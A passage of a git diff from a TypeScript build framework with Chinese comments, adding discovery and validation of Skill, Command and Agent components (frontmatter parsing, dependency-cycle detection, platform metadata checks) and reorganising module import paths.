SkillComponent | AgentComponent)[], + diagnostics: DiagnosticRegistry, +): void { + /** kind+id 是允许不同 Component 类型同名的图键。 */ + const key = (kind: string, id: string): string => `${kind}:${id}`; + /** 完整 Component 索引用于检查引用存在性。 */ + const byKey = new Map(components.map(component => [key(component.kind, component.id), component])); + /** 只记录通过存在性和自引用检查的有向边。 */ + const edges = new Map(); + for (const component of components) { + /** 当前 Component 的唯一图节点键。 */ + const from = key(component.kind, component.id); + /** Command/Skill/Agent 统一投影为可引用 Skill/Agent 目标。 */ + const targets = [ + ...component.requires.skills.map(id => key('skill', id)), + ...component.requires.agents.map(id => key('agent', id)), + ]; + /** 合法边按目标键稳定排序后进入 DFS。 */ + const valid: string[] = []; + for (const target of targets) { + if (target === from) { + diagnostics.report('validate', { code: 'COMPONENT_DEPENDENCY_SELF', severity: 'error', message: `${from} cannot require itself.`, location: { path: component.location.path } }, { owner: 'framework:canonical', component: { kind: component.kind, id: component.id } }); + } else if (!byKey.has(target)) { + diagnostics.report('validate', { code: 'COMPONENT_DEPENDENCY_MISSING', severity: 'error', message: `${from} requires missing ${target}.`, location: { path: component.location.path } }, { owner: 'framework:canonical', component: { kind: component.kind, id: component.id } }); + } else { + valid.push(target); + } + } + edges.set(from, valid.sort(compareCodePoints)); + } + /** visiting 表示当前 DFS 路径上的灰色节点。 */ + const visiting = new Set(); + /** visited 表示已经完成验证的黑色节点。 */ + const visited = new Set(); + /** stack 保留完整循环路径用于稳定诊断。 */ + const stack: string[] = []; + /** reported 避免同一环路从多个入口重复报告。 */ + const reported = new Set(); + /** 深度优先遍历检测依赖图中的回边。 */ + const visit = (node: string): void => { + if (visited.has(node)) + return; + if (visiting.has(node)) { + /** 回边闭合为包含首尾节点的完整可读路径。 */ + const cycle = [...stack.slice(stack.indexOf(node)), node].join(' -> '); + if (!reported.has(cycle)) { + diagnostics.report('validate', { code: 'COMPONENT_DEPENDENCY_CYCLE', severity: 'error', message: `Dependency cycle: ${cycle}.` }, { owner: 'framework:canonical' }); + reported.add(cycle); + } + return; + } + visiting.add(node); + stack.push(node); + for (const target of edges.get(node) ?? []) + visit(target); + stack.pop(); + visiting.delete(node); + visited.add(node); + }; + for (const node of [...byKey.keys()].sort(compareCodePoints)) + visit(node); +} + +/** Canonical Provider 的 Session registries。 */ +export interface CanonicalProviderOptions { + readonly metadata: Readonly; + readonly platformIds: readonly string[]; + readonly claims: ResourceClaims; + readonly sources: SourceRegistry; + readonly assets: AssetRegistry; + readonly diagnostics: DiagnosticRegistry; +} + +/** + * 发现并验证 Canonical Component graph。 + * + * Public 和 Runtime 由各自 Provider 合并,因此这里先返回空 publicFiles。 + * + * @param options 当前 BuildSession registries 与 claims。 + * @returns 不含物理路径的不可变 canonical project。 + */ +export async function discoverCanonicalProject(options: CanonicalProviderOptions): Promise { + /** canonical Source capability 固定绑定 Framework owner。 */ + const sourceService = options.sources.service('framework:canonical'); + /** Skill auxiliary Asset 同样保留 canonical issuer。 */ + const assetService = options.assets.service('framework:canonical'); + /** configured Set 只用于拒绝未安装 Platform namespace。 */ + const configured = new Set(options.platformIds); + /** 三类互相独立的来源并行扫描,最终诊断由 Registry 排序。 */ + const [discoveredCommands, discoveredSkills, discoveredAgents] = await Promise.all([ + discoverCommands(options.claims.canonical.commands, sourceService, configured, options.diagnostics), + discoverSkills(options.claims.canonical.skills, sourceService, assetService, configured, options.diagnostics), + discoverAgents(options.claims.canonical.agents, sourceService, configured, options.diagnostics), + ]); + validateGraph([...discoveredCommands, ...discoveredSkills, ...discoveredAgents], options.diagnostics); + return Object.freeze({ + metadata: options.metadata, + commands: discoveredCommands, + skills: discoveredSkills, + agents: discoveredAgents, + publicFiles: Object.freeze([]), + }); +} + +/** Framework canonical root names的 compile-time exhaustiveness guard。 */ +const _canonicalRoots: readonly CanonicalResourceRoot[] = ['commands', 'skills', 'agents']; +void _canonicalRoots; diff --git a/packages/core/src/resources/canonical/shared.ts b/packages/core/src/resources/canonical/shared.ts new file mode 100644 index 0000000..3f32c3a --- /dev/null +++ b/packages/core/src/resources/canonical/shared.ts @@ -0,0 +1,326 @@ +import { parseDocument } from 'yaml'; +import type { ComponentRequires } from '../../contracts/components.js'; +import type { JsonObject, JsonValue } from '../../contracts/common.js'; +import type { SourceDirectoryRef, SourceEntry, SourceFileRef } from '../../contracts/services.js'; +import { DiagnosticRegistry } from '../../services/diagnostics.js'; +import { SourceRegistry } from '../../services/sources.js'; + +/** Component ID 的规范格式。 */ +const COMPONENT_ID = /^[a-z0-9]+(?:-[a-z0-9]+)*$/u; + +/** Markdown 主文件的统一中间形态。 */ +export interface ParsedMarkdown { + readonly data: Readonly>; + readonly body: string; + readonly bodyLine: number; +} + +/** + * 提交绑定 canonical owner 的诊断。 + * + * @param diagnostics 当前 Session Registry。 + * @param code 稳定诊断码。 + * @param message 稳定信息。 + * @param location 工程相对路径。 + * @param fieldPath 可选字段路径。 + */ +export function error( + diagnostics: DiagnosticRegistry, + code: string, + message: string, + location?: string, + fieldPath?: readonly (string | number)[], +): void { + diagnostics.report('discover', { + code, + severity: 'error', + message, + ...(location === undefined ? {} : { location: { path: location } }), + ...(fieldPath === undefined ? {} : { fieldPath }), + }, { owner: 'framework:canonical' }); +} + +/** + * 解析严格 UTF-8 + YAML Frontmatter Markdown。 + * + * @param sources canonical owner Source Service。 + * @param file Markdown SourceRef。 + * @param diagnostics 当前诊断集合。 + * @returns 合法 Frontmatter、正文和正文行。 + */ +export async function parseMarkdown( + sources: ReturnType, + file: SourceFileRef, + diagnostics: DiagnosticRegistry, +): Promise { + /** 文本读取失败统一转换为稳定 UTF-8 诊断。 */ + let source: string; + try { + source = await sources.readText(file); + } catch { + error(diagnostics, 'MARKDOWN_UTF8_INVALID', 'Markdown must be stable UTF-8 text.', file.path); + return undefined; + } + /** 保留行边界用于定位正文。 */ + const lines = source.split(/\r?\n/u); + if (lines[0] !== '---') { + error(diagnostics, 'FRONTMATTER_REQUIRED', 'Markdown requires a YAML Frontmatter block.', file.path); + return undefined; + } + /** closing 是 Frontmatter 结束分隔符的零基行索引。 */ + const closing = lines.findIndex((line, index) => index > 0 && line === '---'); + if (closing < 0) { + error(diagnostics, 'FRONTMATTER_UNTERMINATED', 'YAML Frontmatter is not terminated.', file.path); + return undefined; + } + /** YAML parser 必须拒绝重复键和非法语法。 */ + const document = parseDocument(lines.slice(1, closing).join('\n'), { prettyErrors: false, uniqueKeys: true }); + if (document.errors.length > 0) { + error(diagnostics, 'FRONTMATTER_INVALID', 'YAML Frontmatter is invalid.', file.path); + return undefined; + } + /** YAML AST 只在无 parser errors 后投影为普通值。 */ + const value = document.toJS() as unknown; + if (typeof value !== 'object' || value === null || Array.isArray(value)) { + error(diagnostics, 'FRONTMATTER_OBJECT_REQUIRED', 'Frontmatter must be a mapping.', file.path); + return undefined; + } + /** 正文统一换行为 LF 并去除首尾空白。 */ + const body = lines.slice(closing + 1).join('\n').trim(); + if (body.length === 0) { + error(diagnostics, 'MARKDOWN_BODY_REQUIRED', 'Markdown body must not be empty.', file.path); + return undefined; + } + return Object.freeze({ data: value as Record, body, bodyLine: closing + 2 }); +} + +/** + * 拒绝 Frontmatter unknown/legacy fields。 + * + * @param data Frontmatter mapping。 + * @param allowed 当前 Component 白名单。 + * @param location Markdown 路径。 + * @param diagnostics 当前诊断集合。 + */ +export function fields(data: Readonly>, allowed: readonly string[], location: string, diagnostics: DiagnosticRegistry): void { + /** Set 使每个 Frontmatter 字段只需常量时间查找。 */ + const accepted = new Set(allowed); + for (const field of Object.keys(data).sort()) { + if (field === 'extensions') { + error(diagnostics, 'COMPONENT_LEGACY_EXTENSIONS', 'Frontmatter extensions is not supported; use platforms.', location, [field]); + } else if (!accepted.has(field)) { + error(diagnostics, 'FRONTMATTER_FIELD_UNKNOWN', `Unknown Frontmatter field "${field}".`, location, [field]); + } + } +} + +/** + * 读取非空 string 字段。 + * + * @param data Frontmatter mapping。 + * @param field 字段名。 + * @param location 文件路径。 + * @param diagnostics 当前诊断集合。 + * @param required 缺失时是否失败。 + * @returns 规范化 string 或 undefined。 + */ +export function stringField( + data: Readonly>, + field: string, + location: string, + diagnostics: DiagnosticRegistry, + required = false, +): string | undefined { + /** 字段读取不执行额外 coercion。 */ + const value = data[field]; + if (value === undefined && !required) + return undefined; + if (typeof value !== 'string' || value.trim() === '') { + error(diagnostics, 'FRONTMATTER_STRING_REQUIRED', `${field} must be a non-empty string.`, location, [field]); + return undefined; + } + return value.trim(); +} + +/** + * 复制严格 string array。 + * + * @param value 未知数组值。 + * @param fieldPath 字段路径。 + * @param location 文件路径。 + * @param diagnostics 当前诊断集合。 + * @returns 排除非 string 后的稳定数组。 + */ +export function strings( + value: unknown, + fieldPath: readonly string[], + location: string, + diagnostics: DiagnosticRegistry, +): readonly string[] { + if (value === undefined) + return Object.freeze([]); + if (!Array.isArray(value) || value.some(item => typeof item !== 'string' || item.trim() === '')) { + error(diagnostics, 'FRONTMATTER_STRING_ARRAY', `${fieldPath.join('.')} must be an array of non-empty strings.`, location, fieldPath); + return Object.freeze([]); + } + /** 复制数组,避免 YAML 容器身份进入 Project Graph。 */ + const result = [...value] as string[]; + if (new Set(result).size !== result.length) + error(diagnostics, 'FRONTMATTER_ARRAY_DUPLICATE', `${fieldPath.join('.')} must not contain duplicates.`, location, fieldPath); + return Object.freeze(result); +} + +/** + * 解析 canonical dependency 声明。 + * + * @param value requires Frontmatter 值。 + * @param location 文件路径。 + * @param diagnostics 当前诊断集合。 + * @returns 始终包含 skills/agents 的不可变依赖。 + */ +export function requires(value: unknown, location: string, diagnostics: DiagnosticRegistry): ComponentRequires { + if (value === undefined) + return Object.freeze({ skills: Object.freeze([]), agents: Object.freeze([]) }); + if (typeof value !== 'object' || value === null || Array.isArray(value)) { + error(diagnostics, 'COMPONENT_REQUIRES_INVALID', 'requires must be a mapping.', location, ['requires']); + return Object.freeze({ skills: Object.freeze([]), agents: Object.freeze([]) }); + } + /** YAML 映射的普通字段。 */ + const object = value as Record; + for (const field of Object.keys(object)) { + if (field !== 'skills' && field !== 'agents') + error(diagnostics, 'COMPONENT_REQUIRES_KIND', `requires.${field} is not supported.`, location, ['requires', field]); + } + /** 两种可引用 Component 类型分别解析并保留声明顺序。 */ + const skills = strings(object.skills, ['requires', 'skills'], location, diagnostics); + /** Agent dependencies 与 Skill dependencies 使用相同 ID 规则。 */ + const agents = strings(object.agents, ['requires', 'agents'], location, diagnostics); + for (const [kind, ids] of [['skills', skills], ['agents', agents]] as const) { + for (const [index, id] of ids.entries()) { + if (!COMPONENT_ID.test(id)) + error(diagnostics, 'COMPONENT_REQUIRES_ID_INVALID', `requires.${kind} contains an invalid Component ID.`, location, ['requires', kind, index]); + } + } + return Object.freeze({ skills, agents }); +} + +/** + * 递归复制 YAML value 为严格 JSON。 + * + * @param value 当前值。 + * @param path 字段路径。 + * @param location 文件路径。 + * @param diagnostics 当前诊断集合。 + * @param ancestors 当前递归祖先。 + * @returns JSON snapshot 或 undefined。 + */ +function jsonValue( + value: unknown, + path: readonly string[], + location: string, + diagnostics: DiagnosticRegistry, + ancestors = new Set(), +): JsonValue | undefined { + if (value === null || typeof value === 'string' || typeof value === 'boolean') + return value; + if (typeof value === 'number') { + if (Number.isFinite(value)) + return value; + error(diagnostics, 'COMPONENT_PLATFORM_JSON_INVALID', 'Platform metadata must contain finite JSON values.', location, path); + return undefined; + } + if (typeof value !== 'object') { + error(diagnostics, 'COMPONENT_PLATFORM_JSON_INVALID', 'Platform metadata must contain JSON values.', location, path); + return undefined; + } + if (ancestors.has(value)) { + error(diagnostics, 'COMPONENT_PLATFORM_JSON_CYCLE', 'Platform metadata must not contain cycles.', location, path); + return undefined; + } + ancestors.add(value); + try { + if (Array.isArray(value)) { + /** JSON array 使用新容器逐项规范化。 */ + const result: JsonValue[] = []; + for (const [index, item] of value.entries()) { + /** index 加入字段路径以生成精确诊断。 */ + const normalized = jsonValue(item, [...path, String(index)], location, diagnostics, ancestors); + if (normalized === undefined) + return undefined; + result.push(normalized); + } + return Object.freeze(result); + } + if (Object.getPrototypeOf(value) !== Object.prototype && Object.getPrototypeOf(value) !== null) { + error(diagnostics, 'COMPONENT_PLATFORM_JSON_INVALID', 'Platform metadata must use plain mappings.', location, path); + return undefined; + } + /** JSON object 使用冻结的新 data-property 容器。 */ + const result: Record = {}; + for (const field of Object.keys(value).sort()) { + /** 字段按稳定键序递归复制。 */ + const normalized = jsonValue((value as Record)[field], [...path, field], location, diagnostics, ancestors); + if (normalized === undefined) + return undefined; + Object.defineProperty(result, field, { value: normalized, enumerable: true, configurable: false, writable: false }); + } + return Object.freeze(result); + } finally { + ancestors.delete(value); + } +} + +/** + * 解析 Component 的 configured Platform 专属 JSON。 + * + * @param value platforms Frontmatter 值。 + * @param configured 已配置 Platform ID。 + * @param location 文件路径。 + * @param diagnostics 当前诊断集合。 + * @returns 仅保留已配置平台的冻结 JSON object map。 + */ +export function platforms( + value: unknown, + configured: ReadonlySet, + location: string, + diagnostics: DiagnosticRegistry, +): Readonly>> { + if (value === undefined) + return Object.freeze({}); + if (typeof value !== 'object' || value === null || Array.isArray(value)) { + error(diagnostics, 'COMPONENT_PLATFORMS_INVALID', 'platforms must be a mapping.', location, ['platforms']); + return Object.freeze({}); + } + /** 只保留当前配置中实际存在的 Platform namespace。 */ + const result: Record> = {}; + for (const id of Object.keys(value).sort()) { + if (!configured.has(id)) { + error(diagnostics, 'COMPONENT_PLATFORM_NOT_CONFIGURED', `Component declares unconfigured Platform "${id}".`, location, ['platforms', id]); + continue; + } + /** Platform fields 只能是严格 JSON mapping。 */ + const normalized = jsonValue((value as Record)[id], ['platforms', id], location, diagnostics); + if (normalized === undefined || normalized === null || typeof normalized !== 'object' || Array.isArray(normalized)) { + error(diagnostics, 'COMPONENT_PLATFORM_FIELDS_INVALID', `platforms.${id} must be a JSON mapping.`, location, ['platforms', id]); + continue; + } + result[id] = normalized as Readonly; + } + return Object.freeze(result); +} + +/** @returns Resource root 的直接 entries;缺失 root 返回空集合。 */ +export async function rootEntries( + root: SourceDirectoryRef | undefined, + sources: ReturnType, +): Promise { + return root === undefined ? Object.freeze([]) : sources.list(root); +} + +/** @returns entry 的 Component ID 是否有效,并在失败时报告。 */ +export function componentId(id: string, location: string, diagnostics: DiagnosticRegistry): boolean { + if (COMPONENT_ID.test(id)) + return true; + error(diagnostics, 'COMPONENT_ID_INVALID', `Component ID "${id}" must use lowercase kebab-case.`, location); + return false; +} diff --git a/packages/core/src/resources/canonical/skills.ts b/packages/core/src/resources/canonical/skills.ts new file mode 100644 index 0000000..5465eca --- /dev/null +++ b/packages/core/src/resources/canonical/skills.ts @@ -0,0 +1,105 @@ +import type { SkillComponent } from '../../contracts/components.js'; +import type { SourceAssetRef, SourceDirectoryRef, SourceFileRef } from '../../contracts/services.js'; +import { AssetRegistry } from '../../services/assets.js'; +import { DiagnosticRegistry } from '../../services/diagnostics.js'; +import { compareCodePoints, safeRelativePath } from '../../security/path-policy.js'; +import { SourceRegistry } from '../../services/sources.js'; +import { componentId, error, fields, parseMarkdown, platforms, requires, rootEntries, stringField } from './shared.js'; + +/** + * 扫描 Skill root 和辅助资源。 + * + * @param root 可选 skills root。 + * @param sources canonical Source Service。 + * @param assets canonical Asset Service。 + * @param configured 配置 Platform IDs。 + * @param diagnostics 当前诊断集合。 + * @returns 有效 Skills。 + */ +export async function discoverSkills( + root: SourceDirectoryRef | undefined, + sources: ReturnType, + assets: ReturnType, + configured: ReadonlySet, + diagnostics: DiagnosticRegistry, +): Promise { + /** Skill 结果在所有辅助资源完成签发后统一冻结。 */ + const result: SkillComponent[] = []; + for (const entry of await rootEntries(root, sources)) { + if (entry.type !== 'directory') { + error(diagnostics, 'SKILL_ENTRY_INVALID', 'Skills must be one-level directories.', entry.path); + continue; + } + if (!componentId(entry.name, entry.path, diagnostics)) + continue; + /** 每个 Skill 必须拥有精确名称的主 Markdown 文件。 */ + let skillFile: SourceFileRef; + try { + skillFile = await sources.file(entry.directory, 'SKILL.md'); + } catch { + error(diagnostics, 'SKILL_FILE_REQUIRED', 'Skill directory must contain SKILL.md.', entry.path); + continue; + } + /** Skill 主文件沿用 canonical Markdown 解析边界。 */ + const markdown = await parseMarkdown(sources, skillFile, diagnostics); + if (markdown === undefined) + continue; + fields(markdown.data, ['description', 'invocation', 'requires', 'platforms'], skillFile.path, diagnostics); + /** description 缺失时不能产生不完整 Skill。 */ + const description = stringField(markdown.data, 'description', skillFile.path, diagnostics, true); + if (description === undefined) + continue; + /** Skill 默认允许用户显式调用。 */ + let user = true; + /** Skill 默认也允许模型自动选择。 */ + let model = true; + if (markdown.data.invocation !== undefined) { + /** invocation 保留平台中立的两个布尔维度。 */ + const invocation = markdown.data.invocation; + if (typeof invocation !== 'object' || invocation === null || Array.isArray(invocation)) { + error(diagnostics, 'SKILL_INVOCATION_INVALID', 'invocation must be a mapping.', skillFile.path, ['invocation']); + } else { + for (const field of Object.keys(invocation)) { + if (field !== 'user' && field !== 'model') + error(diagnostics, 'SKILL_INVOCATION_FIELD', `Unknown invocation field "${field}".`, skillFile.path, ['invocation', field]); + } + /** invocationUser 只接受显式布尔值。 */ + const invocationUser = (invocation as Record).user; + if (typeof invocationUser === 'boolean') + user = invocationUser; + else if ((invocation as Record).user !== undefined) + error(diagnostics, 'SKILL_INVOCATION_BOOLEAN', 'invocation.user must be boolean.', skillFile.path, ['invocation', 'user']); + /** invocationModel 使用与 user 相同的严格布尔边界。 */ + const invocationModel = (invocation as Record).model; + if (typeof invocationModel === 'boolean') + model = invocationModel; + else if ((invocation as Record).model !== undefined) + error(diagnostics, 'SKILL_INVOCATION_BOOLEAN', 'invocation.model must be boolean.', skillFile.path, ['invocation', 'model']); + } + } + if (!user && !model) + error(diagnostics, 'SKILL_INVOCATION_EMPTY', 'invocation.user and invocation.model cannot both be false.', skillFile.path, ['invocation']); + /** 递归枚举后只把普通辅助文件签发为 SourceAsset。 */ + const auxiliary = [] as { path: string; asset: SourceAssetRef }[]; + for (const child of await sources.list(entry.directory, { recursive: true })) { + if (child.type !== 'file' || child.path === skillFile.path) + continue; + /** 辅助资源路径相对 Skill 根而不是项目根。 */ + const relative = child.path.slice(`${entry.path}/`.length); + auxiliary.push(Object.freeze({ path: safeRelativePath(relative), asset: await assets.fromSource(child.file) })); + } + auxiliary.sort((left, right) => compareCodePoints(left.path, right.path)); + result.push(Object.freeze({ + kind: 'skill', + id: entry.name, + description, + invocation: Object.freeze({ user, model }), + body: markdown.body, + location: Object.freeze({ path: skillFile.path, bodyLine: markdown.bodyLine }), + requires: requires(markdown.data.requires, skillFile.path, diagnostics), + platforms: platforms(markdown.data.platforms, configured, skillFile.path, diagnostics), + auxiliaryFiles: Object.freeze(auxiliary), + })); + } + return Object.freeze(result.sort((left, right) => compareCodePoints(left.id, right.id))); +} diff --git a/packages/core/src/resources/extension-provider.ts b/packages/core/src/resources/extensions.ts similarity index 91% rename from packages/core/src/resources/extension-provider.ts rename to packages/core/src/resources/extensions.ts index 949f9ca..368d8ff 100644 --- a/packages/core/src/resources/extension-provider.ts +++ b/packages/core/src/resources/extensions.ts @@ -1,23 +1,26 @@ +/** Extension Resource Provider 串联发现、验证、构建与贡献收集。 */ import type { AcpluginExtension, - CanonicalProject, ExtensionSession, ExtensionSubject, - CompilerService, - ExecutionService, - ModuleService, PlatformContributor, PlatformIntegrationDescription, - PlatformBasePackageSnapshot, PackageContribution, +} from '../contracts/integrations.js'; +import type { CanonicalProject } from '../contracts/components.js'; +import type { CompilerService } from '../contracts/compiler.js'; +import type { + ExecutionService, + ModuleService, SourceDirectoryRef, -} from '../kernel-types.js'; -import { AssetRegistry } from '../kernel/asset-registry.js'; -import { dataArrayItems, dataObjectFields } from '../kernel/data-boundary.js'; -import { DiagnosticRegistry } from '../kernel/diagnostic-registry.js'; -import { snapshotExtensionState } from '../kernel/extension-state.js'; -import { compareCodePoints } from '../kernel/path-policy.js'; -import { SourceRegistry } from '../kernel/source-registry.js'; +} from '../contracts/services.js'; +import type { PlatformBasePackageSnapshot } from '../contracts/packages.js'; +import { AssetRegistry } from '../services/assets.js'; +import { dataArrayItems, dataObjectFields } from '../security/data-boundary.js'; +import { DiagnosticRegistry } from '../services/diagnostics.js'; +import { snapshotExtensionState } from '../services/extension-state.js'; +import { compareCodePoints } from '../security/path-policy.js'; +import { SourceRegistry } from '../services/sources.js'; /** Extension discover 完成后的 owner-bound State。 */ export interface DiscoveredExtensionState { @@ -112,11 +115,11 @@ function subjects(value: unknown): readonly ExtensionSubject[] { * @returns undefined 表示该 Extension 本轮无选中资源。 */ export async function discoverExtension(options: { - readonly extension: AcpluginExtension; + readonly extension: AcpluginExtension; readonly session: ExtensionSession; readonly roots: Readonly>; - readonly command: import('../kernel-types.js').ConfigCommand; - readonly mode: import('../kernel-types.js').BuildMode; + readonly command: import('../contracts/config.js').ConfigCommand; + readonly mode: import('../contracts/config.js').BuildMode; readonly sources: SourceRegistry; readonly assets: AssetRegistry; readonly modules: ModuleService; @@ -158,8 +161,8 @@ export async function validateExtension(options: { readonly discovered: DiscoveredExtensionState; readonly session: ExtensionSession; readonly project: CanonicalProject; - readonly command: import('../kernel-types.js').ConfigCommand; - readonly mode: import('../kernel-types.js').BuildMode; + readonly command: import('../contracts/config.js').ConfigCommand; + readonly mode: import('../contracts/config.js').BuildMode; readonly sources: SourceRegistry; readonly assets: AssetRegistry; readonly diagnostics: DiagnosticRegistry; @@ -262,8 +265,8 @@ export async function buildExtension(options: { readonly plan: ExtensionConsumerPlan; readonly session: ExtensionSession; readonly project: CanonicalProject; - readonly command: import('../kernel-types.js').ConfigCommand; - readonly mode: import('../kernel-types.js').BuildMode; + readonly command: import('../contracts/config.js').ConfigCommand; + readonly mode: import('../contracts/config.js').BuildMode; readonly compiler: CompilerService; readonly execution: ExecutionService; readonly assets: AssetRegistry; @@ -312,13 +315,13 @@ export async function collectExtensionContributions(options: { readonly platform: PlatformIntegrationDescription; readonly base: PlatformBasePackageSnapshot; readonly project: CanonicalProject; - readonly command: import('../kernel-types.js').ConfigCommand; - readonly mode: import('../kernel-types.js').BuildMode; + readonly command: import('../contracts/config.js').ConfigCommand; + readonly mode: import('../contracts/config.js').BuildMode; readonly plans: readonly ExtensionConsumerPlan[]; readonly built: readonly BuiltExtensionState[]; readonly assets: AssetRegistry; readonly diagnostics: DiagnosticRegistry; -}): Promise { +}): Promise { /** Built State 只按 Extension ID 配对,不暴露给其他 Extension。 */ const builtByExtension = new Map(options.built.map(state => [state.extension.id, state])); /** 所有 Contributor promises 在读取同一 base 后并行启动。 */ diff --git a/packages/core/src/resources/project-graph.ts b/packages/core/src/resources/project-graph.ts index 32cd8f4..e9a979c 100644 --- a/packages/core/src/resources/project-graph.ts +++ b/packages/core/src/resources/project-graph.ts @@ -1,4 +1,8 @@ -import type { CanonicalProject, NodeRuntimeResource, PublicResourceFile } from '../kernel-types.js'; +import type { + CanonicalProject, + NodeRuntimeResource, + PublicResourceFile, +} from '../contracts/components.js'; /** * 将三个 Framework Provider 的独立结果组装为唯一 Project Graph。 diff --git a/packages/core/src/resources/public-provider.ts b/packages/core/src/resources/public.ts similarity index 92% rename from packages/core/src/resources/public-provider.ts rename to packages/core/src/resources/public.ts index 30c3689..0f43ab7 100644 --- a/packages/core/src/resources/public-provider.ts +++ b/packages/core/src/resources/public.ts @@ -1,12 +1,17 @@ +/** Public Resource Provider 发现并签发静态公开文件。 */ import { promises as fs } from 'node:fs'; import path from 'node:path'; -import type { PublicResourceFile, SourceAssetRef, SourceFileRef } from '../kernel-types.js'; -import { AssetRegistry } from '../kernel/asset-registry.js'; -import type { ResolvedKernelConfig, ResolvedPublicCopyRule } from '../kernel/config-resolver.js'; -import { DiagnosticRegistry } from '../kernel/diagnostic-registry.js'; -import { compareCodePoints, safeRelativePath, sourceCollisionKey } from '../kernel/path-policy.js'; -import { SourceRegistry } from '../kernel/source-registry.js'; -import { WatchRegistry, type WatchObservation } from '../kernel/watch-registry.js'; +import type { PublicResourceFile } from '../contracts/components.js'; +import type { + SourceAssetRef, + SourceFileRef, +} from '../contracts/services.js'; +import { AssetRegistry } from '../services/assets.js'; +import type { ResolvedKernelConfig, ResolvedPublicCopyRule } from '../config/resolver.js'; +import { DiagnosticRegistry } from '../services/diagnostics.js'; +import { compareCodePoints, safeRelativePath, sourceCollisionKey } from '../security/path-policy.js'; +import { SourceRegistry } from '../services/sources.js'; +import { WatchRegistry, type WatchObservation } from '../services/watch.js'; /** Public 收集阶段带完整来源 identity 的内部记录。 */ interface PublicSource { @@ -68,7 +73,7 @@ async function collect( /** Source Registry root 只能是目录;单文件 rule 使用其父目录作为最小授权 root。 */ const physicalRoot = stat.isDirectory() ? source : path.dirname(source); /** Source Registry 只签发目录能力。 */ - let root: import('../kernel-types.js').SourceDirectoryRef; + let root: import('../contracts/services.js').SourceDirectoryRef; try { root = await sources.issueRoot(owner, physicalRoot); /** 目录 mapping 校验完整子树;单文件 mapping 不读取其未授权 siblings。 */ diff --git a/packages/core/src/resources/resource-registry.ts b/packages/core/src/resources/registry.ts similarity index 95% rename from packages/core/src/resources/resource-registry.ts rename to packages/core/src/resources/registry.ts index 7f548a4..6ce8dc2 100644 --- a/packages/core/src/resources/resource-registry.ts +++ b/packages/core/src/resources/registry.ts @@ -1,11 +1,13 @@ +/** Resource Registry 统一分配 Core 与 Extension 作者来源根。 */ import { promises as fs } from 'node:fs'; import path from 'node:path'; -import type { AcpluginExtension, SourceDirectoryRef } from '../kernel-types.js'; -import { DiagnosticRegistry } from '../kernel/diagnostic-registry.js'; -import { compareCodePoints } from '../kernel/path-policy.js'; -import { SourceRegistry } from '../kernel/source-registry.js'; -import { WatchRegistry } from '../kernel/watch-registry.js'; -import type { ResolvedKernelConfig } from '../kernel/config-resolver.js'; +import type { AcpluginExtension } from '../contracts/integrations.js'; +import type { SourceDirectoryRef } from '../contracts/services.js'; +import { DiagnosticRegistry } from '../services/diagnostics.js'; +import { compareCodePoints } from '../security/path-policy.js'; +import { SourceRegistry } from '../services/sources.js'; +import { WatchRegistry } from '../services/watch.js'; +import type { ResolvedKernelConfig } from '../config/resolver.js'; /** Framework 内建来源根名称。 */ export type CanonicalResourceRoot = 'commands' | 'skills' | 'agents'; diff --git a/packages/core/src/resources/runtime-paths.ts b/packages/core/src/resources/runtime/paths.ts similarity index 89% rename from packages/core/src/resources/runtime-paths.ts rename to packages/core/src/resources/runtime/paths.ts index 6ee4375..813645a 100644 --- a/packages/core/src/resources/runtime-paths.ts +++ b/packages/core/src/resources/runtime/paths.ts @@ -1,4 +1,4 @@ -/** Runtime entry ID 与其他 Kernel 稳定资源 ID 使用相同 lowercase-kebab 规则。 */ +/** Runtime entry ID 与其他 Core 稳定资源 ID 使用相同 lowercase-kebab 规则。 */ const RUNTIME_ID = /^[a-z0-9]+(?:-[a-z0-9]+)*$/u; /** 验证公开路径 helper 不会把任意文本变成 Package 路径。 */ diff --git a/packages/core/src/resources/runtime-provider.ts b/packages/core/src/resources/runtime/provider.ts similarity index 94% rename from packages/core/src/resources/runtime-provider.ts rename to packages/core/src/resources/runtime/provider.ts index 778d0cf..8124a4c 100644 --- a/packages/core/src/resources/runtime-provider.ts +++ b/packages/core/src/resources/runtime/provider.ts @@ -1,19 +1,22 @@ +/** Core Node Runtime Provider 发现并单次构建每个 Runtime 入口。 */ +import type { CompilerService } from '../../contracts/compiler.js'; import type { - CompilerService, GeneratedAssetRef, - NodeRuntimeResource, + SourceDirectoryRef, +} from '../../contracts/services.js'; +import type { NodeRuntimeResource } from '../../contracts/components.js'; +import type { PackageContribution, PlatformIntegrationDescription, - SourceDirectoryRef, -} from '../kernel-types.js'; -import type { ResolvedRuntimeConfig } from '../kernel/config-resolver.js'; -import { DiagnosticRegistry } from '../kernel/diagnostic-registry.js'; -import { compareCodePoints, safeRelativePath, sourceCollisionKey } from '../kernel/path-policy.js'; -import { SourceRegistry } from '../kernel/source-registry.js'; +} from '../../contracts/integrations.js'; +import type { ResolvedRuntimeConfig } from '../../config/resolver.js'; +import { DiagnosticRegistry } from '../../services/diagnostics.js'; +import { compareCodePoints, safeRelativePath, sourceCollisionKey } from '../../security/path-policy.js'; +import { SourceRegistry } from '../../services/sources.js'; import { nodeRuntimeArtifactPath, nodeRuntimeLicensesArtifactPath, -} from './runtime-paths.js'; +} from './paths.js'; /** Runtime 允许成为 executable entry 的源码扩展名。 */ const RUNTIME_EXTENSIONS = ['.tsx', '.mts', '.cts', '.jsx', '.mjs', '.cjs', '.ts', '.js'] as const; @@ -175,7 +178,7 @@ export async function discoverNodeRuntime(options: { /** Runtime 只能使用 Framework 固定 owner 的 Source Service。 */ const sources = options.sources.service('framework:node-runtime'); /** 有效入口先累积,最后按 ID 排序并冻结。 */ - const entries: { readonly id: string; readonly kind: 'executable' | 'module'; readonly source: import('../kernel-types.js').SourceFileRef }[] = []; + const entries: { readonly id: string; readonly kind: 'executable' | 'module'; readonly source: import('../../contracts/services.js').SourceFileRef }[] = []; /** ID 的 NFC/case fold 防止跨文件系统 Asset 路径冲突。 */ const ids = new Map(); if (options.config.entries === undefined) { diff --git a/packages/core/src/kernel/data-boundary.ts b/packages/core/src/security/data-boundary.ts similarity index 97% rename from packages/core/src/kernel/data-boundary.ts rename to packages/core/src/security/data-boundary.ts index bf1d7c0..e99b08e 100644 --- a/packages/core/src/kernel/data-boundary.ts +++ b/packages/core/src/security/data-boundary.ts @@ -1,4 +1,4 @@ -/** 已验证 data property 的 descriptor 形状。 */ +/** 安全边界已验证 data property 的 descriptor 形状。 */ export type DataPropertyDescriptor = PropertyDescriptor & { readonly value: unknown }; /** diff --git 